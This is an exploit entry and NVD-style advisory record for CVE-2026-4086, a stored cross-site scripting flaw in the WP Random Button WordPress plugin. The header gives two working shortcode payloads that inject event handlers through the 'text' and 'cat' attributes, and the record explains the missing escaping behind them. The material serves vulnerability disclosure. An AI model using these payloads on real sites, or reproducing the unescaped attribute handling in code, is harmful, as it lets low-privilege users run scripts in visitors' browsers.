CVE-2026-4086

// Exploit Title: WP Random Button < 1.0 - Stored XSS (CVE-2026-4086) // Description: Inject payload via the 'text' attribute of the shortcode. // Access Level: Contributor+ // Payload 1: Using the 'text' parameter (vulnerable to HTML injection) [wp_random_button text="<img src=x onerror=alert('XSS')>"] // Payload 2: Using the 'cat' parameter (vulnerable to attribute injection) // The payload is injected directly into a data-attribute without escaping. [wp_random_button cat="x\" onmouseover=alert('XSS') "]

{"cve": {"id": "CVE-2026-4086", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:41.020", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Random Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cat', 'nocat', and 'text' shortcode attributes of the 'wp_random_button' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the random_button_html() function directly concatenates the 'cat' and 'nocat' parameters into HTML data-attributes without esc_attr(), and the 'text' parameter into HTML content without esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP Random Button para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de los atributos del shortcode 'cat', 'nocat' y 'text' del shortcode 'wp_random_button' en todas las versiones hasta la 1.0, inclusive. Esto se debe a una sanitización de entrada insuficiente y un escape de salida inadecuado en los atributos del shortcode proporcionados por el usuario. Específicamente, la función random_button_html() concatena directamente los parámetros 'cat' y 'nocat' en atributos de datos HTML sin esc_attr(), y el parámetro 'text' en contenido HTML sin esc_html(). Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-random-button/tags/1.0/wp-random-button.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-random-button/tags/1.0/wp-random-button.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-random-button/trunk/wp-random-button.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-random-button/trunk/wp-random-button.php#L50", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b9e11f5-5a05-4867-abd8-fb07c84a49b0?source=cve", "source": "[email protected]"}]}}